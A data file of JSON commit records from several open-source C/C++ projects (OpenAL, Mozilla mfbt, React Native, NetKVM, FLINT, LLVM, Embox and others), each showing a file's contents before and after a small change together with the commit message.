{"commit":"4917024c9485d5ed3362ddcb1a0d0f8ee45dfedc","old_file":"al\/event.h","new_file":"al\/event.h","old_contents":"#ifndef AL_EVENT_H\n#define AL_EVENT_H\n\n#include \"AL\/al.h\"\n#include \"AL\/alc.h\"\n\nstruct EffectState;\n\n\nenum {\n    \/* End event thread processing. *\/\n    EventType_KillThread = 0,\n\n    \/* User event types. *\/\n    EventType_SourceStateChange = 1<<0,\n    EventType_BufferCompleted   = 1<<1,\n    EventType_Error             = 1<<2,\n    EventType_Performance       = 1<<3,\n    EventType_Deprecated        = 1<<4,\n    EventType_Disconnected      = 1<<5,\n\n    \/* Internal events. *\/\n    EventType_ReleaseEffectState = 65536,\n};\n\nstruct AsyncEvent {\n    unsigned int EnumType{0u};\n    union {\n        char dummy;\n        struct {\n            ALuint id;\n            ALenum state;\n        } srcstate;\n        struct {\n            ALuint id;\n            ALsizei count;\n        } bufcomp;\n        struct {\n            ALenum type;\n            ALuint id;\n            ALuint param;\n            ALchar msg[1008];\n        } user;\n        EffectState *mEffectState;\n    } u{};\n\n    AsyncEvent() noexcept = default;\n    constexpr AsyncEvent(unsigned int type) noexcept : EnumType{type} { }\n};\n\n\nvoid StartEventThrd(ALCcontext *ctx);\nvoid StopEventThrd(ALCcontext *ctx);\n\n#endif\n","new_contents":"#ifndef AL_EVENT_H\n#define AL_EVENT_H\n\n#include \"AL\/al.h\"\n#include \"AL\/alc.h\"\n\nstruct EffectState;\n\n\nenum {\n    \/* End event thread processing. *\/\n    EventType_KillThread = 0,\n\n    \/* User event types. *\/\n    EventType_SourceStateChange = 1<<0,\n    EventType_BufferCompleted   = 1<<1,\n    EventType_Error             = 1<<2,\n    EventType_Performance       = 1<<3,\n    EventType_Deprecated        = 1<<4,\n    EventType_Disconnected      = 1<<5,\n\n    \/* Internal events. *\/\n    EventType_ReleaseEffectState = 65536,\n};\n\nstruct AsyncEvent {\n    unsigned int EnumType{0u};\n    union {\n        char dummy;\n        struct {\n            ALuint id;\n            ALenum state;\n        } srcstate;\n        struct {\n            ALuint id;\n            ALsizei count;\n        } bufcomp;\n        struct {\n            ALenum type;\n            ALuint id;\n            ALuint param;\n            ALchar msg[232];\n        } user;\n        EffectState *mEffectState;\n    } u{};\n\n    AsyncEvent() noexcept = default;\n    constexpr AsyncEvent(unsigned int type) noexcept : EnumType{type} { }\n};\n\n\nvoid StartEventThrd(ALCcontext *ctx);\nvoid StopEventThrd(ALCcontext *ctx);\n\n#endif\n","subject":"Reduce the AsyncEvent struct size","message":"Reduce the AsyncEvent struct size\n\nThe \"user\" message length is significantly reduced to fit the struct in 256\nbytes, rather than 1KB.\n","lang":"C","license":"lgpl-2.1","repos":"aaronmjacobs\/openal-soft,aaronmjacobs\/openal-soft"}
{"commit":"f5fe521c850a02ae1f352bfb652e263c0c97d624","old_file":"include\/mozilla\/Compiler.h","new_file":"include\/mozilla\/Compiler.h","old_contents":"\/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- *\/\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n\/* Various compiler checks. *\/\n\n#ifndef mozilla_Compiler_h_\n#define mozilla_Compiler_h_\n\n#if !defined(__clang__) && defined(__GNUC__)\n   \/*\n    * This macro should simplify gcc version checking. For example, to check\n    * for gcc 4.5.1 or later, check `#ifdef MOZ_GCC_VERSION_AT_LEAST(4, 5, 1)`.\n    *\/\n#  define MOZ_GCC_VERSION_AT_LEAST(major, minor, patchlevel)          \\\n     ((__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) \\\n      >= ((major) * 10000 + (minor) * 100 + (patchlevel)))\n#if !MOZ_GCC_VERSION_AT_LEAST(4, 4, 0)\n#  error \"mfbt (and Gecko) require at least gcc 4.4 to build.\"\n#endif\n#endif\n\n#endif  \/* mozilla_Compiler_h_ *\/\n","new_contents":"\/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- *\/\n\/* This Source Code Form is subject to the terms of the Mozilla Public\n * License, v. 2.0. If a copy of the MPL was not distributed with this\n * file, You can obtain one at http:\/\/mozilla.org\/MPL\/2.0\/. *\/\n\n\/* Various compiler checks. *\/\n\n#ifndef mozilla_Compiler_h_\n#define mozilla_Compiler_h_\n\n#if !defined(__clang__) && defined(__GNUC__)\n   \/*\n    * This macro should simplify gcc version checking. For example, to check\n    * for gcc 4.5.1 or later, check `#ifdef MOZ_GCC_VERSION_AT_LEAST(4, 5, 1)`.\n    *\/\n#  define MOZ_GCC_VERSION_AT_LEAST(major, minor, patchlevel)          \\\n     ((__GNUC__ * 10000 + __GNUC_MINOR__ * 100 + __GNUC_PATCHLEVEL__) \\\n      >= ((major) * 10000 + (minor) * 100 + (patchlevel)))\n#if !MOZ_GCC_VERSION_AT_LEAST(4, 4, 0)\n\/\/ RBA: Not true for servo!\n\/\/#  error \"mfbt (and Gecko) require at least gcc 4.4 to build.\"\n#endif\n#endif\n\n#endif  \/* mozilla_Compiler_h_ *\/\n","subject":"Disable error that forbids builds with gcc 4.2","message":"Disable error that forbids builds with gcc 4.2\n","lang":"C","license":"mpl-2.0","repos":"nox\/rust-azure,Adenilson\/rust-azure,larsbergstrom\/rust-azure,Adenilson\/rust-azure,notriddle\/rust-azure,larsbergstrom\/rust-azure,servo\/rust-azure,servo\/rust-azure,notriddle\/rust-azure,nox\/rust-azure,brendandahl\/rust-azure,servo\/rust-azure,pcwalton\/rust-azure,mrobinson\/rust-azure,notriddle\/rust-azure,larsbergstrom\/rust-azure,hyowon\/rust-azure,hyowon\/rust-azure,Adenilson\/rust-azure,mbrubeck\/rust-azure,akiss77\/rust-azure,mrobinson\/rust-azure,vvuk\/rust-azure,dzbarsky\/rust-azure,mmatyas\/rust-azure,mbrubeck\/rust-azure,akiss77\/rust-azure,brendandahl\/rust-azure,metajack\/rust-azure,dzbarsky\/rust-azure,akiss77\/rust-azure,vvuk\/rust-azure,mbrubeck\/rust-azure,Adenilson\/rust-azure,mrobinson\/rust-azure,metajack\/rust-azure,vvuk\/rust-azure,dzbarsky\/rust-azure,mmatyas\/rust-azure,hyowon\/rust-azure,pcwalton\/rust-azure,notriddle\/rust-azure,mmatyas\/rust-azure,nox\/rust-azure,brendandahl\/rust-azure,mbrubeck\/rust-azure,servo\/rust-azure,mbrubeck\/rust-azure,notriddle\/rust-azure,pcwalton\/rust-azure,pcwalton\/rust-azure,mrobinson\/rust-azure,pcwalton\/rust-azure,larsbergstrom\/rust-azure,hyowon\/rust-azure,larsbergstrom\/rust-azure,metajack\/rust-azure,nox\/rust-azure,mmatyas\/rust-azure,vvuk\/rust-azure,mrobinson\/rust-azure,Adenilson\/rust-azure,mmatyas\/rust-azure,hyowon\/rust-azure,akiss77\/rust-azure,akiss77\/rust-azure,dzbarsky\/rust-azure,dzbarsky\/rust-azure,servo\/rust-azure,brendandahl\/rust-azure,vvuk\/rust-azure,brendandahl\/rust-azure,metajack\/rust-azure,nox\/rust-azure,metajack\/rust-azure"}
{"commit":"6a6590fbdfd0266f2d5b90552de3279b4b57b24f","old_file":"ReactCommon\/fabric\/components\/text\/text\/TextShadowNode.h","new_file":"ReactCommon\/fabric\/components\/text\/text\/TextShadowNode.h","old_contents":"\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#pragma once\n\n#include <limits>\n\n#include <react\/components\/text\/BaseTextShadowNode.h>\n#include <react\/components\/text\/TextProps.h>\n#include <react\/components\/view\/ViewEventEmitter.h>\n#include <react\/core\/ConcreteShadowNode.h>\n\nnamespace facebook {\nnamespace react {\n\nextern const char TextComponentName[];\n\nusing TextEventEmitter = TouchEventEmitter;\n\nclass TextShadowNode : public ConcreteShadowNode<\n                           TextComponentName,\n                           ShadowNode,\n                           TextProps,\n                           TextEventEmitter>,\n                       public BaseTextShadowNode {\n public:\n  static ShadowNodeTraits BaseTraits() {\n    auto traits = ConcreteShadowNode::BaseTraits();\n\n#ifdef ANDROID\n    traits.set(ShadowNodeTraits::Trait::FormsView);\n    traits.set(ShadowNodeTraits::Trait::FormsStackingContext);\n#endif\n\n    return traits;\n  }\n\n  using ConcreteShadowNode::ConcreteShadowNode;\n\n#ifdef ANDROID\n  using BaseShadowNode = ConcreteShadowNode<\n      TextComponentName,\n      ShadowNode,\n      TextProps,\n      TextEventEmitter>;\n\n  TextShadowNode(\n      ShadowNodeFragment const &fragment,\n      ShadowNodeFamily::Shared const &family,\n      ShadowNodeTraits traits)\n      : BaseShadowNode(fragment, family, traits), BaseTextShadowNode() {\n    orderIndex_ = std::numeric_limits<decltype(orderIndex_)>::max();\n  }\n#endif\n};\n\n} \/\/ namespace react\n} \/\/ namespace facebook\n","new_contents":"\/*\n * Copyright (c) Facebook, Inc. and its affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\/\n\n#pragma once\n\n#include <limits>\n\n#include <react\/components\/text\/BaseTextShadowNode.h>\n#include <react\/components\/text\/TextProps.h>\n#include <react\/components\/view\/ViewEventEmitter.h>\n#include <react\/core\/ConcreteShadowNode.h>\n\nnamespace facebook {\nnamespace react {\n\nextern const char TextComponentName[];\n\nusing TextEventEmitter = TouchEventEmitter;\n\nclass TextShadowNode : public ConcreteShadowNode<\n                           TextComponentName,\n                           ShadowNode,\n                           TextProps,\n                           TextEventEmitter>,\n                       public BaseTextShadowNode {\n public:\n  static ShadowNodeTraits BaseTraits() {\n    auto traits = ConcreteShadowNode::BaseTraits();\n\n#ifdef ANDROID\n    traits.set(ShadowNodeTraits::Trait::FormsView);\n#endif\n\n    return traits;\n  }\n\n  using ConcreteShadowNode::ConcreteShadowNode;\n\n#ifdef ANDROID\n  using BaseShadowNode = ConcreteShadowNode<\n      TextComponentName,\n      ShadowNode,\n      TextProps,\n      TextEventEmitter>;\n\n  TextShadowNode(\n      ShadowNodeFragment const &fragment,\n      ShadowNodeFamily::Shared const &family,\n      ShadowNodeTraits traits)\n      : BaseShadowNode(fragment, family, traits), BaseTextShadowNode() {\n    orderIndex_ = std::numeric_limits<decltype(orderIndex_)>::max();\n  }\n#endif\n};\n\n} \/\/ namespace react\n} \/\/ namespace facebook\n","subject":"Fix bug in TextInlineViews when using a deep nested hierarchy of Text and Images","message":"Fix bug in TextInlineViews when using a deep nested hierarchy of Text and Images\n\nSummary:\nThis fixes a bug in Android TextInlineViews that was reproducible in ActivityLog screen, see T63438920\n\nSince Text are virtual nodes it is not necessary for these kind of views to stack views during diffing.\n\nchangelog: [internal]\n\nReviewed By: shergin\n\nDifferential Revision: D20448085\n\nfbshipit-source-id: 2d852975493bf6bcc7840c80c5de5cb5f7890303\n","lang":"C","license":"mit","repos":"pandiaraj44\/react-native,facebook\/react-native,javache\/react-native,exponentjs\/react-native,javache\/react-native,javache\/react-native,janicduplessis\/react-native,hoangpham95\/react-native,janicduplessis\/react-native,hammerandchisel\/react-native,hoangpham95\/react-native,exponentjs\/react-native,janicduplessis\/react-native,hammerandchisel\/react-native,janicduplessis\/react-native,exponent\/react-native,pandiaraj44\/react-native,hammerandchisel\/react-native,hoangpham95\/react-native,myntra\/react-native,janicduplessis\/react-native,facebook\/react-native,pandiaraj44\/react-native,myntra\/react-native,myntra\/react-native,exponent\/react-native,exponentjs\/react-native,janicduplessis\/react-native,facebook\/react-native,myntra\/react-native,exponent\/react-native,facebook\/react-native,myntra\/react-native,exponent\/react-native,exponent\/react-native,exponent\/react-native,arthuralee\/react-native,pandiaraj44\/react-native,facebook\/react-native,hoangpham95\/react-native,hammerandchisel\/react-native,myntra\/react-native,exponent\/react-native,javache\/react-native,myntra\/react-native,arthuralee\/react-native,pandiaraj44\/react-native,javache\/react-native,janicduplessis\/react-native,exponentjs\/react-native,hoangpham95\/react-native,exponent\/react-native,hoangpham95\/react-native,hammerandchisel\/react-native,hammerandchisel\/react-native,myntra\/react-native,arthuralee\/react-native,janicduplessis\/react-native,arthuralee\/react-native,exponentjs\/react-native,exponentjs\/react-native,javache\/react-native,pandiaraj44\/react-native,hammerandchisel\/react-native,hoangpham95\/react-native,exponentjs\/react-native,javache\/react-native,hoangpham95\/react-native,facebook\/react-native,facebook\/react-native,pandiaraj44\/react-native,facebook\/react-native,pandiaraj44\/react-native,javache\/react-native,myntra\/react-native,arthuralee\/react-native,hammerandchisel\/react-native,exponentjs\/react-native,facebook\/react-native,javache\/react-native"}
{"commit":"a13984843e51c317f92843756b2fd5dbcc19b02b","old_file":"Include\/KAI\/Platform\/GameController.h","new_file":"Include\/KAI\/Platform\/GameController.h","old_contents":"\n#ifndef KAI_PLATFORM_GAME_CONTROLLER_H\n#define KAI_PLATFORM_GAME_CONTROLLER_H\n\n#include KAI_PLATFORM_INCLUDE(GameController.h)\n\n#endif \/\/ SHATTER_PLATFORM_GAME_CONTROLLER_H\n\n\/\/EOF\n","new_contents":"\n#ifndef KAI_PLATFORM_GAME_CONTROLLER_H\n#define KAI_PLATFORM_GAME_CONTROLLER_H\n\n#include KAI_PLATFORM_INCLUDE(GameController.h)\n\n#endif\n\n\/\/EOF\n","subject":"Add some color for console output","message":"Add some color for console output\n\n\nFormer-commit-id: 315cc71afe5d5245e60ce4564328619c49310b6a\nFormer-commit-id: 4afa9ab712a2bdbef25bee286ff0bdcf2a8da2b2","lang":"C","license":"mit","repos":"cschladetsch\/KAI,cschladetsch\/KAI,cschladetsch\/KAI"}
{"commit":"64635220db85ed16109ee33387884bf5aa42bcaf","old_file":"Settings\/Updater\/Version.h","new_file":"Settings\/Updater\/Version.h","old_contents":"#pragma once\n\n#include <string>\n\nstruct Version {\npublic:\n    const int major;\n    const int minor;\n    const int revision;\n\n    Version(int major, int minor = 0, int revision = 0) :\n    major(major),\n    minor(minor),\n    revision(revision) {\n\n    }\n\n    std::wstring ToString() {\n        return std::to_wstring(major)\n            + L\".\"\n            + std::to_wstring(minor)\n            + L\".\"\n            + std::to_wstring(revision);\n    }\n};","new_contents":"#pragma once\n\n#include <string>\n\nstruct Version {\npublic:\n    Version(int major = 0, int minor = 0, int revision = 0) :\n    _major(major),\n    _minor(minor),\n    _revision(revision) {\n\n    }\n\n    const int Major() { return _major; }\n    const int Minor() { return _minor; }\n    const int Revision() { return _revision; }\n\n    }\n\n    std::wstring ToString() {\n        return std::to_wstring(_major)\n            + L\".\"\n            + std::to_wstring(_minor)\n            + L\".\"\n            + std::to_wstring(_revision);\n    }\n\nprivate:\n    int _major;\n    int _minor;\n    int _revision;\n};","subject":"Update instance variables, add getters","message":"Update instance variables, add getters\n","lang":"C","license":"bsd-2-clause","repos":"malensek\/3RVX,malensek\/3RVX,malensek\/3RVX"}
{"commit":"578c65d5f619ede48ee99aa837a8600692d6edd6","old_file":"NetKVM\/Common\/ParaNdis_DebugHistory.h","new_file":"NetKVM\/Common\/ParaNdis_DebugHistory.h","old_contents":"#pragma once\n\n\/\/#define ENABLE_HISTORY_LOG\n#if !defined(ENABLE_HISTORY_LOG)\n\nvoid FORCEINLINE ParaNdis_DebugHistory(\n    PARANDIS_ADAPTER *pContext,\n    eHistoryLogOperation op,\n    PVOID pParam1,\n    ULONG lParam2,\n    ULONG lParam3,\n    ULONG lParam4)\n{\n    UNREFERENCED_PARAMETER(pContext);\n    UNREFERENCED_PARAMETER(op);\n    UNREFERENCED_PARAMETER(pParam1);\n    UNREFERENCED_PARAMETER(lParam2);\n    UNREFERENCED_PARAMETER(lParam3);\n    UNREFERENCED_PARAMETER(lParam4);\n}\n\n#else\n\nvoid ParaNdis_DebugHistory(\n    PARANDIS_ADAPTER *pContext,\n    eHistoryLogOperation op,\n    PVOID pParam1,\n    ULONG lParam2,\n    ULONG lParam3,\n    ULONG lParam4);\n\n#endif\n","new_contents":"#pragma once\n\n\/\/#define ENABLE_HISTORY_LOG\n\/\/#define KEEP_PENDING_NBL\n\n#if !defined(KEEP_PENDING_NBL)\n\nvoid FORCEINLINE ParaNdis_DebugNBLIn(PNET_BUFFER_LIST nbl, ULONG& index)\n{\n    UNREFERENCED_PARAMETER(nbl);\n    UNREFERENCED_PARAMETER(index);\n}\n\nvoid FORCEINLINE ParaNdis_DebugNBLOut(ULONG index, PNET_BUFFER_LIST nbl)\n{\n    UNREFERENCED_PARAMETER(index);\n    UNREFERENCED_PARAMETER(nbl);\n}\n\n#else\n\nvoid ParaNdis_DebugNBLIn(PNET_BUFFER_LIST nbl, ULONG& index);\nvoid ParaNdis_DebugNBLOut(ULONG index, PNET_BUFFER_LIST nbl);\n\n#endif\n\n#if !defined(ENABLE_HISTORY_LOG)\n\nvoid FORCEINLINE ParaNdis_DebugHistory(\n    PARANDIS_ADAPTER *pContext,\n    eHistoryLogOperation op,\n    PVOID pParam1,\n    ULONG lParam2,\n    ULONG lParam3,\n    ULONG lParam4)\n{\n    UNREFERENCED_PARAMETER(pContext);\n    UNREFERENCED_PARAMETER(op);\n    UNREFERENCED_PARAMETER(pParam1);\n    UNREFERENCED_PARAMETER(lParam2);\n    UNREFERENCED_PARAMETER(lParam3);\n    UNREFERENCED_PARAMETER(lParam4);\n}\n\n#else\n\nvoid ParaNdis_DebugHistory(\n    PARANDIS_ADAPTER *pContext,\n    eHistoryLogOperation op,\n    PVOID pParam1,\n    ULONG lParam2,\n    ULONG lParam3,\n    ULONG lParam4);\n\n#endif\n","subject":"Add ability to keep array of pending TX NBLs","message":"netkvm: Add ability to keep array of pending TX NBLs\n\nThis debug instrumentation is resolved to nothing in\nregular release compilation. To enable it, uncomment\nKEEP_PENDING_NBL define in ParaNdis_DebugHistory.h\n\nSigned-off-by: Yuri Benditovich <9668326cb042de5d91fd7679dac7ca5ea402812c@daynix.com>\n","lang":"C","license":"bsd-3-clause","repos":"vrozenfe\/kvm-guest-drivers-windows,ladipro\/kvm-guest-drivers-windows,YanVugenfirer\/virtio-win-arm,YanVugenfirer\/kvm-guest-drivers-windows,YanVugenfirer\/virtio-win-arm,virtio-win\/kvm-guest-drivers-windows,gnif\/kvm-guest-drivers-windows,gnif\/kvm-guest-drivers-windows,vrozenfe\/kvm-guest-drivers-windows,ladipro\/kvm-guest-drivers-windows,ladipro\/kvm-guest-drivers-windows,vrozenfe\/kvm-guest-drivers-windows,virtio-win\/kvm-guest-drivers-windows,ladipro\/kvm-guest-drivers-windows,YanVugenfirer\/kvm-guest-drivers-windows,gnif\/kvm-guest-drivers-windows,daynix\/kvm-guest-drivers-windows,daynix\/kvm-guest-drivers-windows,YanVugenfirer\/kvm-guest-drivers-windows,daynix\/kvm-guest-drivers-windows,virtio-win\/kvm-guest-drivers-windows,vrozenfe\/kvm-guest-drivers-windows,vrozenfe\/kvm-guest-drivers-windows,YanVugenfirer\/virtio-win-arm,YanVugenfirer\/kvm-guest-drivers-windows,YanVugenfirer\/virtio-win-arm,virtio-win\/kvm-guest-drivers-windows,YanVugenfirer\/kvm-guest-drivers-windows,virtio-win\/kvm-guest-drivers-windows,gnif\/kvm-guest-drivers-windows,daynix\/kvm-guest-drivers-windows,daynix\/kvm-guest-drivers-windows"}
{"commit":"f81d8805b9fb79fcd2a6a9eef61c525e58ef425b","old_file":"fmpz_mpoly\/test\/t-init.c","new_file":"fmpz_mpoly\/test\/t-init.c","old_contents":"","new_contents":"\/*\n    Copyright (C) 2016 William Hart\n\n    This file is part of FLINT.\n\n    FLINT is free software: you can redistribute it and\/or modify it under\n    the terms of the GNU Lesser General Public License (LGPL) as published\n    by the Free Software Foundation; either version 2.1 of the License, or\n    (at your option) any later version.  See <http:\/\/www.gnu.org\/licenses\/>.\n*\/\n\n#include <stdio.h>\n#include <stdlib.h>\n#include <gmp.h>\n#include \"flint.h\"\n#include \"fmpz.h\"\n#include \"fmpz_mpoly.h\"\n#include \"ulong_extras.h\"\n\nint\nmain(void)\n{\n    int i;\n    FLINT_TEST_INIT(state);\n\n    flint_printf(\"void....\");\n    fflush(stdout);\n\n    \/* Check aliasing of a and c *\/\n    for (i = 0; i < 1000 * flint_test_multiplier(); i++)\n    {\n    }\n\n    FLINT_TEST_CLEANUP(state);\n    \n    flint_printf(\"PASS\\n\");\n    return 0;\n}\n\n","subject":"Add empty test to prevent build system complaining.","message":"Add empty test to prevent build system complaining.\n","lang":"C","license":"lgpl-2.1","repos":"fredrik-johansson\/flint2,dsroche\/flint2,wbhart\/flint2,wbhart\/flint2,dsroche\/flint2,fredrik-johansson\/flint2,dsroche\/flint2,dsroche\/flint2,wbhart\/flint2,fredrik-johansson\/flint2"}
{"commit":"cdef41a6b4889a7e7143053b1806e9c737058b30","old_file":"test\/FrontendC\/2010-05-26-AsmSideEffect.c","new_file":"test\/FrontendC\/2010-05-26-AsmSideEffect.c","old_contents":"","new_contents":"\/\/ RUN: %llvmgcc %s -S -emit-llvm -o - | FileCheck %s\n\/\/ Radar 8026855\n\nint test (void *src) {\n  register int w0 asm (\"0\");\n  \/\/ CHECK: call i32 asm sideeffect\n  asm (\"ldr %0, [%1]\": \"=r\" (w0): \"r\" (src));\n  \/\/ The asm to read the value of w0 has a sideeffect for a different reason\n  \/\/ (see 2010-05-18-asmsched.c) but that's not what this is testing for.\n  \/\/ CHECK: call i32 asm\n  return w0;\n}\n","subject":"Add a test for llvm-gcc svn r104726.","message":"Add a test for llvm-gcc svn r104726.\n\n\ngit-svn-id: 0ff597fd157e6f4fc38580e8d64ab130330d2411@104805 91177308-0d34-0410-b5e6-96231b3b80d8\n","lang":"C","license":"bsd-2-clause","repos":"chubbymaggie\/asap,dslab-epfl\/asap,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,GPUOpen-Drivers\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,apple\/swift-llvm,apple\/swift-llvm,llvm-mirror\/llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,chubbymaggie\/asap,chubbymaggie\/asap,llvm-mirror\/llvm,chubbymaggie\/asap,GPUOpen-Drivers\/llvm,dslab-epfl\/asap,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm,apple\/swift-llvm,apple\/swift-llvm,GPUOpen-Drivers\/llvm,llvm-mirror\/llvm,apple\/swift-llvm,dslab-epfl\/asap,llvm-mirror\/llvm,apple\/swift-llvm,llvm-mirror\/llvm,GPUOpen-Drivers\/llvm"}
{"commit":"d6f4a5106bebb23826c0867494ade7f4d7ebd1f3","old_file":"examples\/common\/scpi-def.h","new_file":"examples\/common\/scpi-def.h","old_contents":"#ifndef __SCPI_DEF_H_\n#define __SCPI_DEF_H_\n\n#include \"scpi\/scpi.h\"\n\nextern scpi_t scpi_context;\n\nsize_t SCPI_Write(scpi_t * context, const char * data, size_t len);\nint SCPI_Error(scpi_t * context, int_fast16_t err);\nscpi_result_t SCPI_Control(scpi_t * context, scpi_ctrl_name_t ctrl, scpi_reg_val_t val);\nscpi_result_t SCPI_Reset(scpi_t * context);\nscpi_result_t SCPI_Test(scpi_t * context);\nscpi_result_t SCPI_Flush(scpi_t * context);\n\n\nscpi_result_t SCPI_SystemCommTcpipControlQ(scpi_t * context);\n\n#endif \/\/ __SCPI_DEF_H_\n\n","new_contents":"#ifndef __SCPI_DEF_H_\n#define __SCPI_DEF_H_\n\n#include \"scpi\/scpi.h\"\n\nextern scpi_t scpi_context;\n\nsize_t SCPI_Write(scpi_t * context, const char * data, size_t len);\nint SCPI_Error(scpi_t * context, int_fast16_t err);\nscpi_result_t SCPI_Control(scpi_t * context, scpi_ctrl_name_t ctrl, scpi_reg_val_t val);\nscpi_result_t SCPI_Reset(scpi_t * context);\nint32_t SCPI_Test(scpi_t * context);\nscpi_result_t SCPI_Flush(scpi_t * context);\n\n\nscpi_result_t SCPI_SystemCommTcpipControlQ(scpi_t * context);\n\n#endif \/\/ __SCPI_DEF_H_\n\n","subject":"Correct *TST? callback in header file","message":"Correct *TST? callback in header file\n","lang":"C","license":"bsd-2-clause","repos":"j123b567\/scpi-parser,koeart\/scpi-parser,koeart\/scpi-parser,j123b567\/scpi-parser,RedPitaya\/scpi-parser,RedPitaya\/scpi-parser"}
{"commit":"1b7c7ce6555ac92929f131aebb3f7e21bef3f0a1","old_file":"examples\/minimal\/minimal.c","new_file":"examples\/minimal\/minimal.c","old_contents":"#include <Arika\/Arika.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint main(int argc, char** argv)\n{\n\tARFuncs* arFuncs = ar_init(\"t2-output\/macosx-clang-debug-default\/libarika-qt.dylib\");\n\n\tif (!arFuncs)\n\t\treturn 0;\n\n\tarFuncs->window_create_main();\n\n\tfor (;;)\n\t{\n\t\tif (!arFuncs->update())\n\t\t\tbreak;\n\t}\n\n\t\/\/arFuncs->close();\n\n\treturn 0;\n}\n","new_contents":"#include <Arika\/Arika.h>\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\nint main(int argc, char** argv)\n{\n\tARFuncs* arFuncs = ar_init(\"t2-output\/macosx-clang-debug-default\/libarika-qt.dylib\");\n\n\tif (!arFuncs)\n\t\treturn 0;\n\n\tif (!arFuncs->ui_load(\"examples\/minimal\/minimal.ar\"))\n\t\treturn 0;\n\n\t\/\/arFuncs->window_create_main();\n\n\tfor (;;)\n\t{\n\t\tif (!arFuncs->update())\n\t\t\tbreak;\n\t}\n\n\t\/\/arFuncs->close();\n\n\treturn 0;\n}\n","subject":"Use Lua for creating main window","message":"Use Lua for creating main window\n","lang":"C","license":"mit","repos":"emoon\/Arika,emoon\/Arika,emoon\/Arika,emoon\/Arika"}
{"commit":"e369bd1813b725ba6d6f2effeaa7bd7cb6013664","old_file":"third-party\/bsp\/st_f4\/arch.c","new_file":"third-party\/bsp\/st_f4\/arch.c","old_contents":"\/**\n * @file\n * @brief\n *\n * @author  Anton Kozlov\n * @date    30.10.2014\n *\/\n\n#include <assert.h>\n#include <stdint.h>\n#include <system_stm32f4xx.h>\n#include <framework\/mod\/options.h>\n#include <module\/embox\/arch\/system.h>\n#include <hal\/arch.h>\n\nvoid arch_init(void) {\n\tstatic_assert(OPTION_MODULE_GET(embox__arch__system, NUMBER, core_freq) == 144000000);\n\tSystemInit();\n}\n\nvoid arch_idle(void) {\n\n}\n\nvoid arch_shutdown(arch_shutdown_mode_t mode) {\n\twhile (1);\n}\n","new_contents":"\/**\n * @file\n * @brief\n *\n * @author  Anton Kozlov\n * @date    30.10.2014\n *\/\n\n#include <assert.h>\n#include <stdint.h>\n#include <system_stm32f4xx.h>\n#include <framework\/mod\/options.h>\n#include <module\/embox\/arch\/system.h>\n#include <hal\/arch.h>\n\n#include <stm32f4xx_wwdg.h>\n\nvoid arch_init(void) {\n\tstatic_assert(OPTION_MODULE_GET(embox__arch__system, NUMBER, core_freq) == 144000000);\n\tSystemInit();\n}\n\nvoid arch_idle(void) {\n\n}\n\nvoid arch_shutdown(arch_shutdown_mode_t mode) {\n\tswitch (mode) {\n\tcase ARCH_SHUTDOWN_MODE_HALT:\n\tcase ARCH_SHUTDOWN_MODE_REBOOT:\n\tcase ARCH_SHUTDOWN_MODE_ABORT:\n\tdefault:\n\t\tNVIC_SystemReset();\n\t}\n\n\t\/* NOTREACHED *\/\n\twhile(1) {\n\n\t}\n}\n","subject":"Change shutdown to reset the board","message":"stm32: Change shutdown to reset the board\n","lang":"C","license":"bsd-2-clause","repos":"gzoom13\/embox,embox\/embox,abusalimov\/embox,Kakadu\/embox,mike2390\/embox,mike2390\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,abusalimov\/embox,Kakadu\/embox,Kakadu\/embox,embox\/embox,Kefir0192\/embox,Kefir0192\/embox,Kefir0192\/embox,Kefir0192\/embox,gzoom13\/embox,vrxfile\/embox-trik,gzoom13\/embox,abusalimov\/embox,vrxfile\/embox-trik,Kakadu\/embox,gzoom13\/embox,Kefir0192\/embox,embox\/embox,abusalimov\/embox,gzoom13\/embox,vrxfile\/embox-trik,mike2390\/embox,gzoom13\/embox,gzoom13\/embox,Kakadu\/embox,mike2390\/embox,mike2390\/embox,Kakadu\/embox,Kakadu\/embox,mike2390\/embox,mike2390\/embox,vrxfile\/embox-trik,vrxfile\/embox-trik,embox\/embox,abusalimov\/embox,abusalimov\/embox,embox\/embox,Kefir0192\/embox,embox\/embox,Kefir0192\/embox"}
